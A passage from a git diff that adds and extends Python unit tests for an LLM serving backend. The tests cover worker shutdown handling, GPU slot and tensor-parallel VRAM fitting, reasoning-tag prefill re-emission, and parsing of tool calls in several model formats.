+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "y"),
+        ],
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "ok"
+    assistant = next(m for m in backend.calls[0]["messages"] if m["role"] == "assistant")
+    assert assistant["tool_calls"][0]["function"]["arguments"] == "not json {"
+
+
+def test_mcp_enabled_without_server_tools_uses_passthrough(monkeypatch):
+    # mcp_enabled=true with an empty registry must not silently drop the
+    # declared tools; the gate keys on the server-side path claiming the request.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, mcp_enabled = True)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup"
+    assert backend.calls[0]["tools"] == [LOOKUP_TOOL]
diff --git a/studio/backend/tests/test_shutdown_preserves_live_worker.py b/studio/backend/tests/test_shutdown_preserves_live_worker.py
new file mode 100644
index 0000000000..faf273411c
--- /dev/null
+++ b/studio/backend/tests/test_shutdown_preserves_live_worker.py
@@ -0,0 +1,145 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+"""_shutdown_subprocess returns whether the worker actually died, and preserves the
+live handle when it survives terminate/kill.
+
+A GPU worker wedged in an uninterruptible CUDA syscall can outlive SIGKILL. If shutdown
+nulled its handle anyway, is_worker_alive() would report False and the pre-swap liveness
+guard would let the destructive .venv_t5_latest rename proceed while a live worker still
+holds sidecar transformers modules (breaking the rename on Windows). The methods must keep
+the handle and return False so callers can refuse the swap.
+"""
+
+import pytest
+
+from core.export.orchestrator import ExportOrchestrator
+from core.inference.orchestrator import InferenceOrchestrator
+
+
+class _FakeProc:
+    """A subprocess handle that dies only on the requested step (or never)."""
+
+    def __init__(self, dies_on = None):
+        self._alive = True
+        self._dies_on = dies_on  # None | "join" | "terminate" | "kill"
+
+    def is_alive(self):
+        return self._alive
+
+    def join(self, timeout = None):
+        if self._dies_on == "join":
+            self._alive = False
+
+    def terminate(self):
+        if self._dies_on == "terminate":
+            self._alive = False
+
+    def kill(self):
+        if self._dies_on == "kill":
+            self._alive = False
+
+
+def _bare_inference():
+    o = InferenceOrchestrator.__new__(InferenceOrchestrator)
+    o._stop_dispatcher = lambda: None
+    o._cancel_generation = lambda: None
+    o._drain_queue = lambda: []
+
+    class _Q:
+        def put(self, *a, **k):
+            pass
+
+    o._cmd_queue = _Q()
+    o._resp_queue = _Q()
+    o._cancel_event = None
+    o._drain_event = None
+    return o
+
+
+def _bare_export():
+    o = ExportOrchestrator.__new__(ExportOrchestrator)
+    o._drain_queue = lambda: []
+
+    class _Q:
+        def put(self, *a, **k):
+            pass
+
+    o._cmd_queue = _Q()
+    o._resp_queue = _Q()
+    return o
+
+
+@pytest.fixture(autouse = True)
+def _no_sleep(monkeypatch):
+    # _shutdown_subprocess sleeps 0.5s after cancelling; keep the tests instant.
+    import core.inference.orchestrator as inf_mod
+    monkeypatch.setattr(inf_mod.time, "sleep", lambda *_a, **_k: None)
+
+
+class TestInferenceShutdownReturn:
+    def test_worker_that_dies_returns_true_and_clears_handle(self):
+        o = _bare_inference()
+        o._proc = _FakeProc(dies_on = "terminate")
+        assert o._shutdown_subprocess(timeout = 0.01) is True
+        assert o._proc is None
+        assert o.is_worker_alive() is False
+
+    def test_survivor_returns_false_and_keeps_handle(self):
+        o = _bare_inference()
+        o._proc = _FakeProc(dies_on = None)  # outlives terminate AND kill
+        assert o._shutdown_subprocess(timeout = 0.01) is False
+        assert o._proc is not None
+        # is_worker_alive stays truthful, so the pre-swap guard can refuse the swap.
+        assert o.is_worker_alive() is True
+
+    def test_already_dead_returns_true(self):
+        o = _bare_inference()
+        o._proc = _FakeProc(dies_on = "join")
+        o._proc._alive = False
+        assert o._shutdown_subprocess(timeout = 0.01) is True
+        assert o._proc is None
+
+
+class TestExportShutdownReturn:
+    def test_worker_that_dies_returns_true_and_clears_handle(self):
+        o = _bare_export()
+        o._proc = _FakeProc(dies_on = "terminate")
+        assert o._shutdown_subprocess(timeout = 0.01) is True
+        assert o._proc is None
+        assert o.is_worker_alive() is False
+
+    def test_survivor_returns_false_and_keeps_handle(self):
+        o = _bare_export()
+        o._proc = _FakeProc(dies_on = None)
+        assert o._shutdown_subprocess(timeout = 0.01) is False
+        assert o._proc is not None
+        assert o.is_worker_alive() is True
+
+
+class TestSpawnPathsHonorFailedShutdown:
+    """A fresh-load path must not spawn a second worker over one that outlived
+    terminate/kill: the survivor still holds GPU memory and its handle would be lost."""
+
+    def test_export_load_checkpoint_aborts_when_worker_survives(self, monkeypatch):
+        import threading
+
+        import utils.transformers_version as tv
+
+        o = ExportOrchestrator.__new__(ExportOrchestrator)
+        o._lock = threading.RLock()
+        o._proc = _FakeProc(dies_on = None)  # survivor
+        o.clear_logs = lambda: None
+        o._cancel_requested = False
+        o._active_op_kind = None
+        o._export_active = False
+        o._ensure_subprocess_alive = lambda: True
+        o._shutdown_subprocess = lambda *a, **k: False
+        o._spawn_subprocess = lambda cfg: pytest.fail("must not spawn over a live survivor")
+        o._record_op_finished = lambda *a, **k: None
+        monkeypatch.setattr(tv, "sidecar_swap_in_progress", lambda: False)
+
+        ok, msg = o.load_checkpoint(checkpoint_path = "ckpt")
+
+        assert ok is False
+        assert "did not exit" in msg
+        # The finally cleared the op flags even though we returned early.
+        assert o._export_active is False
diff --git a/studio/backend/tests/test_slot_offload_fit.py b/studio/backend/tests/test_slot_offload_fit.py
new file mode 100644
index 0000000000..ac606e4627
--- /dev/null
+++ b/studio/backend/tests/test_slot_offload_fit.py
@@ -0,0 +1,115 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the offload-avoidance serving-slot reduction (`_slots_that_fit_on_gpu`).
+
+When a pinned context does not fit at the requested `--parallel` slot count, Studio would
+flip to `--fit on` and llama-server offloads layers to host RAM, collapsing decode ~3x
+(oobabooga #6718). Instead the loader retries the on-GPU fit at fewer slots and keeps the
+largest count that stays fully on GPU (`-ngl -1`). These tests drive the real helper with
+synthetic VRAM maps; the KV term is mocked so totals are controlled and the reduction logic
+is asserted directly (no GPU, network, or subprocess).
+"""
+
+from __future__ import annotations
+
+import sys
+import types as _types
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+from core.inference.llama_cpp import LlamaCppBackend
+
+MIB = 1024 * 1024
+CTX = 90624
+FRAC = LlamaCppBackend._GPU_PIN_VRAM_FRACTION  # 0.97; usable = free - 0.03*total
+
+
+def _backend(
+    vocab = 248320,
+    embd = 5120,
+    kv_fixed_mib = 0,
+):
+    """Backend with the dims the compute buffer reads; KV mocked to a fixed size so the
+    only slot-dependent term is the compute buffer (485 MiB/slot f32 output x 1.15)."""
+    b = LlamaCppBackend.__new__(LlamaCppBackend)
+    b._vocab_size = vocab
+    b._embedding_length = embd
+    b._key_length_mla = None
+    b._estimate_kv_cache_bytes = lambda ctx, t = None, **k: kv_fixed_mib * MIB
+    b._can_estimate_kv = lambda: True
+    return b
+
+
+def _run(
+    b,
+    n_parallel,
+    base_mib,
+    gpus,
+    total_by_idx,
+    overhead_mib = 0,
+):
+    return b._slots_that_fit_on_gpu(
+        n_parallel,
+        CTX,
+        gpus,
+        total_by_idx,
+        int(base_mib * MIB),
+        "q8_0",
+        FRAC,
+        int(overhead_mib * MIB),
+        1,
+        512,
+    )
+
+
+class TestSlotsThatFitOnGpu:
+    """Compute-buffer per slot (vocab 248320, embd 5120): cb(1)=46, cb(2)=604, cb(3)=1162,
+    cb(4)=1719 MiB. Single 24 GB card usable = 24576 - 0.03*24576 = 23839 MiB."""
+
+    def test_reduces_to_largest_fitting_slot(self):
+        # base+KV = 22500: par4 (24219) over 23839, par3 (23662) fits -> 3 slots on GPU.
+        gi, use_fit, slots = _run(_backend(), 4, 22500, [(0, 24576)], {0: 24576})
+        assert use_fit is False and gi == [0] and slots == 3
+
+    def test_floor_when_only_one_slot_fits(self):
+        # base 23400: par2 (24004) over, par1 (23446) fits -> drop all the way to 1.
+        gi, use_fit, slots = _run(_backend(), 4, 23400, [(0, 24576)], {0: 24576})
+        assert use_fit is False and gi == [0] and slots == 1
+
+    def test_none_fit_stays_offload(self):
+        # Even a single slot (24046) exceeds usable -> genuine offload, unchanged.
+        gi, use_fit, slots = _run(_backend(), 4, 24000, [(0, 24576)], {0: 24576})
+        assert use_fit is True and gi is None and slots == 4
+
+    def test_roomy_would_keep_all_but_helper_only_reduces(self):
+        # On a roomy card par4 fits, so load_model never calls this helper; if called it
+        # still only searches < n_parallel and never raises the count above the request.
+        gi, use_fit, slots = _run(_backend(), 4, 5000, [(0, 183000)], {0: 183000})
+        assert use_fit is False and slots == 3 and slots < 4
+
+    def test_single_slot_request_is_noop(self):
+        # n_parallel == 1: nothing to reduce (range empty) -> report offload unchanged.
+        gi, use_fit, slots = _run(_backend(), 1, 22500, [(0, 24576)], {0: 24576})
+        assert use_fit is True and gi is None and slots == 1
+
+    def test_multi_gpu_reduces_across_devices(self):
+        # Needs 2 GPUs: usable/GPU = 23839, cumulative 47677. base+KV 46200: par4 (47919)
+        # over, par3 (47362) fits across both -> 3 slots spanning [0, 1].
+        gi, use_fit, slots = _run(
+            _backend(), 4, 46200, [(0, 24576), (1, 24576)], {0: 24576, 1: 24576}
+        )
+        assert use_fit is False and gi == [0, 1] and slots == 3
+
+    def test_kv_counted_per_candidate(self):
+        # A non-zero (slot-independent) KV shifts the threshold: with 3000 MiB KV and
+        # base 19500 (= 22500 total at par-independent terms) the same par3 fit holds.
+        gi, use_fit, slots = _run(_backend(kv_fixed_mib = 3000), 4, 19500, [(0, 24576)], {0: 24576})
+        assert use_fit is False and slots == 3
diff --git a/studio/backend/tests/test_tensor_parallel.py b/studio/backend/tests/test_tensor_parallel.py
index 1f09f9a091..0d71b89d87 100644
--- a/studio/backend/tests/test_tensor_parallel.py
+++ b/studio/backend/tests/test_tensor_parallel.py
@@ -746,10 +746,14 @@ def test_tp_plan_weighted_split_on_asymmetric_big_model():
     b, (ec, mac, gi, ts) = _plan(50)
     reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
     assert gi == [0, 1]
-    # split weighted by (usable - buffer); with no totals usable is free*frac
+    # split weighted by (usable - flat buffer - per-device context compute); with
+    # no totals usable is free*frac. The per-device cc is subtracted so the smaller
+    # card isn't weighted above its real usable budget (see below).
+    cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024)
+    assert cc_per_dev > 0
     assert ts == [
-        int(48000 * _CTX_FIT_VRAM_FRACTION - reserve),
-        int(24000 * _CTX_FIT_VRAM_FRACTION - reserve),
+        int(48000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev),
+        int(24000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev),
     ]
     assert ec < 131072  # capped below native
 
@@ -819,6 +823,75 @@ def test_tp_plan_mtp_reserves_extra_and_shrinks_context():
     assert ec_mtp < ec_no
 
 
+def test_tp_plan_reserves_context_linear_compute_buffer():
+    # Tensor mode replicates the compute graph on every device; measured on
+    # Qwen3.5-9B at f16 the per-device buffer grows ~n_ubatch*2 B/token (~1024
+    # B/tok), so the fit must reserve n_dev x that on top of the flat reserve or
+    # it over-pins and OOMs at high context. The chosen KV must leave room for it.
+    b, (ec, mac, gi, ts) = _plan(50)
+    cc = len(gi) * b._compute_buffer_ctx_bytes(ec, None, "f16")
+    assert cc > 0
+    assert b._estimate_kv_cache_bytes(ec) + cc <= _kv_budget_b(50)
+
+
+def test_tp_plan_context_shrinks_vs_compute_unaware():
+    # With the context-linear term the pinned context is strictly below what a
+    # KV-only (compute-unaware) fit at the same budget would allow.
+    b, (ec, *_r) = _plan(50)
+    b2 = _kv_seeded_backend()
+    b2._embedding_length = 0  # kills the context-linear compute term (returns 0)
+    ec_naive, *_r2 = b2._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072)
+    assert ec < ec_naive
+
+
+def test_tp_plan_soft_overhead_shrinks_context():
+    # The CUDA-ctx / mmproj / MTP-draft reserve the layer path folds into the fit
+    # budget (model_size_fit) must also shrink the tensor context. Tensor mode has
+    # no --fit valve, so an unreserved overshoot OOMs at startup instead of
+    # offloading. A non-zero soft_overhead must pin a strictly smaller context.
+    b = _kv_seeded_backend()
+    ec_no, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072)
+    ec_soft, *_r2 = b._plan_tensor_parallel(
+        _ASYM, int(50 * _GB), 131072, soft_overhead_bytes = 2 * _GB
+    )
+    assert 2048 < ec_soft < ec_no
+
+
+def test_tp_plan_soft_overhead_reserved_against_budget():
+    # The pinned context must leave the whole soft reserve free on top of KV and
+    # the replicated context compute, so the real footprint stays within the pool.
+    b = _kv_seeded_backend()
+    soft = 2 * _GB
+    ec, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072, soft_overhead_bytes = soft)
+    cc = len(_ASYM) * b._compute_buffer_ctx_bytes(ec, None, None)
+    assert b._estimate_kv_cache_bytes(ec) + cc + soft <= _kv_budget_b(50)
+
+
+def test_tp_plan_weighted_split_keeps_small_gpu_within_budget():
+    # Regression: the weighted split must subtract each device's replicated context
+    # compute (cc_bytes/n_dev), not just the flat reserve. Otherwise the smaller
+    # card is weighted above its usable budget and OOMs at launch. Model the split:
+    # llama.cpp distributes weights+KV by the tensor-split weights; every device
+    # also holds the flat reserve plus its per-device context compute.
+    b, (ec, mac, gi, ts) = _plan(50)
+    assert ts is not None and len(ts) == len(gi) == 2
+    reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
+    cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024)
+    free_by_idx = {0: 48000, 1: 24000}
+    split_content_mib = (int(50 * _GB) + b._estimate_kv_cache_bytes(ec)) / (1024 * 1024)
+    total_weight = sum(ts)
+    for w, idx in zip(ts, gi):
+        placed = split_content_mib * w / total_weight
+        usable = free_by_idx[idx] * _CTX_FIT_VRAM_FRACTION
+        assert placed + reserve + cc_per_dev <= usable + 1  # +1 MiB for int rounding
+
+    # Lock the regression: under the old formula (flat reserve only) the smaller
+    # card was placed over its budget; the cc term is what pulls it back.
+    old_adj = [int(free_by_idx[i] * _CTX_FIT_VRAM_FRACTION - reserve) for i in gi]
+    old_small_placed = split_content_mib * old_adj[1] / sum(old_adj)
+    assert old_small_placed + reserve + cc_per_dev > free_by_idx[1] * _CTX_FIT_VRAM_FRACTION
+
+
 def test_tp_plan_no_kv_metadata_floors_context():
     b = LlamaCppBackend()  # no KV metadata -> can't size safely
     ec, mac, gi, ts = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072)
diff --git a/studio/backend/tests/test_think_prefill_reemit.py b/studio/backend/tests/test_think_prefill_reemit.py
new file mode 100644
index 0000000000..346399c3b2
--- /dev/null
+++ b/studio/backend/tests/test_think_prefill_reemit.py
@@ -0,0 +1,262 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""
+Unit tests for local reasoning-stream helpers.
+
+Reasoning templates (Qwen3.6-style) end the generation prompt with an open
+``<think>\\n`` so the model starts reasoning immediately. skip_prompt
+streaming drops that opening tag, so the safetensors/MLX paths must re-emit
+it for the frontend's <think> parser to render a thinking block.
+"""
+
+import os
+import sys
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from core.inference.chat_template_helpers import (
+    ReasoningChannelNormalizer,
+    detect_reasoning_channel_markers,
+    detect_reasoning_channel_markers_from_model_info,
+    detect_think_prefill,
+    render_with_native_template_fallback,
+)
+
+
+QWEN_PROMPT = "<|im_start|>user\nHi!<|im_end|>\n<|im_start|>assistant\n"
+
+
+def test_open_think_prefill_reemitted():
+    """Qwen3.6-style enable_thinking=True prompt tail: <think>\\n."""
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n") == "<think>\n"
+
+
+def test_bare_open_think_prefill_reemitted():
+    """Prefill without trailing newline still detected."""
+    assert detect_think_prefill(QWEN_PROMPT + "<think>") == "<think>"
+
+
+def test_closed_think_prefill_not_reemitted():
+    """enable_thinking=False prefills a closed, empty think block."""
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n\n</think>\n\n") == ""
+
+
+def test_prompt_without_think_untouched():
+    """Non-reasoning templates produce no prefix."""
+    assert detect_think_prefill(QWEN_PROMPT) == ""
+
+
+def test_historical_think_blocks_ignored():
+    """A closed think block in a prior assistant turn (preserve_thinking)
+    must not trigger re-emission when the generation tail is plain."""
+    prompt = (
+        "<|im_start|>user\nHi!<|im_end|>\n"
+        "<|im_start|>assistant\n<think>\nprior reasoning\n</think>\n\nHello!<|im_end|>\n"
+        "<|im_start|>user\nAgain?<|im_end|>\n<|im_start|>assistant\n"
+    )
+    assert detect_think_prefill(prompt) == ""
+
+
+def test_historical_blocks_plus_open_prefill():
+    """Prior closed blocks plus a fresh open prefill: only the tail matters."""
+    prompt = (
+        "<|im_start|>assistant\n<think>\nprior\n</think>\n\nHello!<|im_end|>\n"
+        "<|im_start|>assistant\n<think>\n"
+    )
+    assert detect_think_prefill(prompt) == "<think>\n"
+
+
+def test_content_after_open_tag_not_reemitted():
+    """If non-whitespace follows the tag it is not a plain prefill."""
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\npartial reasoning") == ""
+
+
+def test_empty_and_none_prompts():
+    assert detect_think_prefill("") == ""
+    assert detect_think_prefill(None) == ""
+
+
+def test_guard_suppresses_when_close_tag_is_special():
+    """If </think> is a special token, skip_special_tokens strips the model's
+    close tag, so re-emitting the open would leave an unclosed block. Guard off."""
+    specials = ["<|im_end|>", "<think>", "</think>"]
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n", specials) == ""
+
+
+def test_guard_emits_when_think_not_special():
+    specials = ["<|im_end|>", "<|endoftext|>"]
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n", specials) == "<think>\n"
+
+
+def test_guard_default_and_empty_keep_emitting():
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n", None) == "<think>\n"
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n", []) == "<think>\n"
+
+
+def test_gemma_channel_detection_uses_active_template_not_token_metadata():
+    class TemplateTokenizer:
+        chat_template = {"default": "...<|channel>thought\\n{{ eoc_token }}"}
+
+    class NamedTemplateTokenizer:
+        chat_template = {
+            "default": "plain assistant template",
+            "tool_use": "...<|channel>thought\\n{{ eoc_token }}",
+        }
+
+    class TokenMetadataOnly:
+        chat_template = None
+        soc_token = "<|channel>"
+        eoc_token = "<channel|>"
+
+    class NamedTemplateProcessor:
+        chat_template = {
+            "default": "plain processor default",
+            "tool_use": "<|channel>thought\nprocessor tool template<channel|>",
+        }
+        tokenizer = TokenMetadataOnly()
+
+        def apply_chat_template(self, *_args, **_kwargs):
+            raise NotImplementedError
+
+    expected = ("<|channel>thought", "<channel|>")
+    assert detect_reasoning_channel_markers(TemplateTokenizer()) == expected
+    assert detect_reasoning_channel_markers(NamedTemplateTokenizer()) is None
+    assert (
+        detect_reasoning_channel_markers(
+            NamedTemplateTokenizer(), tools = [{"function": {"name": "web_search"}}]
+        )
+        == expected
+    )
+    assert detect_reasoning_channel_markers(NamedTemplateTokenizer(), tools = []) is None
+    assert (
+        detect_reasoning_channel_markers(
+            NamedTemplateProcessor(), tools = [{"function": {"name": "web_search"}}]
+        )
+        is None
+    )
+    assert detect_reasoning_channel_markers(TokenMetadataOnly()) is None
+
+
+def test_gemma_channel_detection_tries_no_argument_getter_fallback():
+    class FallbackTokenizer:
+        chat_template = "plain fallback template"
+
+        def get_chat_template(self, **kwargs):
+            if kwargs:
+                raise ValueError("tools are not supported")
+            return "...<|channel>thought\n<channel|>"
+
+    assert detect_reasoning_channel_markers(
+        FallbackTokenizer(), tools = [{"function": {"name": "web_search"}}]
+    ) == ("<|channel>thought", "<channel|>")
+
+
+def test_native_template_fallback_returns_selected_reasoning_metadata():
+    from types import SimpleNamespace
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    def render(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(message["content"] for message in msgs)
+        suffix = "|TOOLS" if tools else ""
+        return body + suffix if tokenizer.chat_template == "NATIVE <|channel>thought\n" else body
+
+    result = render_with_native_template_fallback(
+        formatted_prompt = "hi",
+        tokenizer = SimpleNamespace(chat_template = "OVERRIDE"),
+        model_info = {
+            "native_chat_template": "NATIVE <|channel>thought\n",
+            "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+        },
+        active_model_name = "gemma-test",
+        messages = messages,
+        tools = tools,
+        apply_fn = render,
+        return_metadata = True,
+    )
+
+    assert result.prompt == "hi|TOOLS"
+    assert result.reasoning_channel_markers == ("<|channel>thought", "<channel|>")
+
+
+def test_cached_native_template_metadata_recovers_reasoning_markers_without_tools():
+    from types import SimpleNamespace
+
+    model_info = {"chat_template_info": {"template": "native <|channel>thought\n<channel|>"}}
+
+    assert detect_reasoning_channel_markers_from_model_info(
+        SimpleNamespace(chat_template = "override has no native markers"),
+        model_info,
+        tools = None,
+    ) == ("<|channel>thought", "<channel|>")
+    result = render_with_native_template_fallback(
+        formatted_prompt = "prompt from override",
+        tokenizer = SimpleNamespace(chat_template = "override has no native markers"),
+        model_info = model_info,
+        active_model_name = "gemma-test",
+        messages = [{"role": "user", "content": "hi"}],
+        tools = None,
+        return_metadata = True,
+    )
+    assert result.prompt == "prompt from override"
+    assert result.reasoning_channel_markers == ("<|channel>thought", "<channel|>")
+
+
+def test_cached_native_markers_do_not_describe_live_tool_template():
+    from types import SimpleNamespace
+
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    class LiveTokenizer:
+        chat_template = "live tool template without native markers"
+
+    def render(_tokenizer, _messages, *, tools, **_kwargs):
+        return "prompt with tools" if tools else "prompt without tools"
+
+    result = render_with_native_template_fallback(
+        formatted_prompt = "prompt with tools",
+        tokenizer = LiveTokenizer(),
+        model_info = {
+            "chat_template_info": {"template": "native <|channel>thought\n<channel|>"},
+            "tokenizer": SimpleNamespace(),
+        },
+        active_model_name = "gemma-test",
+        messages = [{"role": "user", "content": "hi"}],
+        tools = tools,
+        apply_fn = render,
+        return_metadata = True,
+    )
+
+    assert result.prompt == "prompt with tools"
+    assert result.reasoning_channel_markers is None
+
+
+def test_gemma_channel_normalization_is_prefix_monotonic_and_preserves_tools():
+    parser = ReasoningChannelNormalizer("<|channel>thought", "<channel|>")
+    output = ""
+    snapshots = []
+    for chunk in (
+        "<|chan",
+        "nel>thought",
+        "\nReason",
+        "<chan",
+        "nel|><|tool_call>web_search<tool_call|>",
+    ):
+        delta = parser.feed(chunk)
+        if delta:
+            output += delta
+            snapshots.append(output)
+
+    assert snapshots == [
+        "<think>",
+        "<think>Reason",
+        "<think>Reason</think><|tool_call>web_search<tool_call|>",
+    ]
+    assert snapshots[1].startswith(snapshots[0])
+    compact = ReasoningChannelNormalizer("<|channel>thought", "<channel|>")
+    assert compact.feed("<|channel>thought<channel|>answer") + compact.finish() == (
+        "<think></think>answer"
+    )
diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py
index 931d8a705d..02f63c41a2 100644
--- a/studio/backend/tests/test_tool_call_parser_strict.py
+++ b/studio/backend/tests/test_tool_call_parser_strict.py
@@ -71,6 +71,26 @@ class TestFunctionStyleTrailingText:
         call = _only(text)
         assert call == {"name": "python", "arguments": {"code": 'print("</function>")'}}
 
+    def test_closed_function_with_trailing_prose_heal_path(self):
+        # Regression: the heal path (allow_incomplete=True) must match the strict path --
+        # keep a clean argument and leave trailing prose outside the call span.
+        text = "<function=web_search><parameter=query>cats</parameter></function> trailing words"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        fn = calls[0]["function"]
+        assert fn["name"] == "web_search"
+        assert json.loads(fn["arguments"]) == {"query": "cats"}
+        # The trailing prose sits outside the removed span, so it stays visible.
+        from core.tool_healing import (
+            parse_tool_calls_from_text as _parse_with_spans,
+        )
+
+        _calls, spans = _parse_with_spans(text, allow_incomplete = True, with_spans = True)
+        out = text
+        for s, e in sorted(spans, reverse = True):
+            out = out[:s] + out[e:]
+        assert out == " trailing words"
+
     def test_incomplete_function_without_close_is_still_rejected(self):
         text = "<function=web_search><parameter=query>weather london"
         assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
@@ -80,6 +100,24 @@ class TestFunctionStyleTrailingText:
         text = "<function=web_search><parameter=query>weather london</function>"
         assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
 
+    def test_attribute_form_literal_close_tag_is_preserved(self):
+        # The attribute form <function name="..."> (MiniCPM-5 / MiniMax-M2) also ends at the
+        # LAST </function>, so a literal close tag inside a code argument survives.
+        text = (
+            '<function name="python"><param name="code">'
+            'print("</function>")'
+            "</param></function> all done"
+        )
+        call = _only(text)
+        assert call == {"name": "python", "arguments": {"code": 'print("</function>")'}}
+
+    def test_closed_zero_param_attribute_call_is_accepted_in_strict_mode(self):
+        # A closed call with no parameters is a valid zero-argument call; strict
+        # mode must not treat the empty parameter list as a truncated call.
+        assert _only('<function name="ping"></function>') == {"name": "ping", "arguments": {}}
+        # A no-arg call that never closes is still rejected as truncated.
+        assert parse_tool_calls_from_text('<function name="ping">', allow_incomplete = False) == []
+
 
 class TestParityWithJsonStyle:
     def test_json_tool_call_with_trailing_prose_is_accepted(self):
@@ -154,9 +192,1636 @@ class TestGemmaNativeStyle:
         }
 
 
+class TestLlama3PythonTagStrict:
+    def test_closed_dot_call_is_accepted(self):
+        text = '<|python_tag|>get_weather.call(location="Tokyo")'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "get_weather"
+        assert json.loads(calls[0]["function"]["arguments"]) == {"location": "Tokyo"}
+
+    def test_truncated_dot_call_is_rejected(self):
+        # No closing paren (depth > 0 at EOF): truncated, reject in strict mode.
+        text = '<|python_tag|>get_weather.call(location="Tokyo"'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        # Auto-Heal still recovers it.
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+class TestMistralArrayStrict:
+    def test_closed_array_is_accepted(self):
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"}}]'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "web_search"
+
+    def test_unclosed_array_is_rejected(self):
+        # Missing the closing ]; strict mode must not heal it.
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"}}'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        # Auto-Heal still recovers the object by hand.
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
 class TestHealingPathUnaffected:
     def test_auto_heal_still_repairs_unclosed_function(self):
         text = "<function=web_search><parameter=query>cats"
         calls = parse_tool_calls_from_text(text, allow_incomplete = True)
         assert len(calls) == 1
         assert calls[0]["function"]["name"] == "web_search"
+
+    def test_closed_function_call_keeps_trailing_prose_out_of_arguments(self):
+        # A call that DID close must parse identically to strict mode, leaving prose after
+        # </function> out of the last parameter and the removal span.
+        from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
+
+        text = "<function=web_search><parameter=query>cats</parameter></function> trailing"
+        calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert json.loads(call["function"]["arguments"]) == {"query": "cats"}
+        (span,) = spans
+        assert text[span[0] : span[1]] == (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+        )
+
+    def test_wrapperless_fallback_calls_carry_spans(self):
+        # The wrapperless function-XML fallback must report spans too, so with_spans
+        # consumers strip exactly the promoted markup (through </function> when closed).
+        from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
+
+        closed = "before <function=web_search><parameter=query>cats</parameter></function> after"
+        calls, spans = parse_with_spans(closed, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert json.loads(call["function"]["arguments"]) == {"query": "cats"}
+        (span,) = spans
+        assert closed[span[0] : span[1]] == (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+        )
+
+        healed = "x <function=web_search><parameter=query>dogs"
+        calls, spans = parse_with_spans(healed, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert json.loads(call["function"]["arguments"]) == {"query": "dogs"}
+        (span,) = spans
+        assert healed[span[0] : span[1]] == "<function=web_search><parameter=query>dogs"
+
+
+class TestEnabledToolNameGate:
+    """``enabled_tool_names`` disambiguates the ambiguous bare-rehearsal
+    ``NAME[ARGS]{json}`` form (#5704): NAME is a call only when it is an active tool,
+    otherwise it is prose. ``None`` (the default) keeps the legacy unrestricted parse
+    so existing callers are unaffected."""
+
+    def _names(self, calls):
+        return [c["function"]["name"] for c in calls]
+
+    def test_inactive_rehearsal_before_active_call_does_not_swallow_it(self):
+        # P1: an inactive ``foo[ARGS]{...}`` before a real call must not consume the real call.
+        text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'
